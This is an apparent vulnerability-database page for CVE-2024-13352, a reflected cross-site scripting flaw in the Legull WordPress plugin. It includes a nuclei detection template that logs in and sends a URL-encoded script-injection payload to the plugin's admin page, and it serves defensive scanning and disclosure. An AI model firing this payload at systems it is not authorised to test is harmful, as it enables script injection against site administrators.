Browse / CVEs / CVE-2024-13352
CVE-2024-13352· CWE-79
Legull WordPress - Cross-Site Scripting
highseverity
7.1CVSS score
0.6%likelihood of exploitation, next 30 days
47%of all CVEs are less likely
Readycheck to confirm it
Legull WordPress plugin <= 1.2.2 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to click malicious link.
Impact
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
Fix
Update to the latest version of the plugin where the vulnerability is fixed.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=legull_terms&tab=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>`")Run it with nuclei: nuclei -id CVE-2024-13352 -u <target>
The full check
id: CVE-2024-13352
info:
name: Legull WordPress - Cross-Site Scripting
author: Sourabh-Sahu
severity: high
description: |
Legull WordPress plugin <= 1.2.2 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to click malicious link.
impact: |
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to the latest version of the plugin where the vulnerability is fixed.
reference:
- https://wpscan.com/vulnerability/2c141cc0-f79e-42bd-97a6-98829647104c/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13352
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2024-13352
cwe-id: CWE-79
epss-score: 0.00561
epss-percentile: 0.47038
cpe: cpe:2.3:a:alwayscurious:legull:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
tags: cve,cve2024,wordpress,wp-plugin,xss,legull
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=legull_terms&tab=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E` HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>`")
condition: andReferences
- https://wpscan.com/vulnerability/2c141cc0-f79e-42bd-97a6-98829647104c/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13352
Use this check only on systems you are authorised to test. Where the data comes from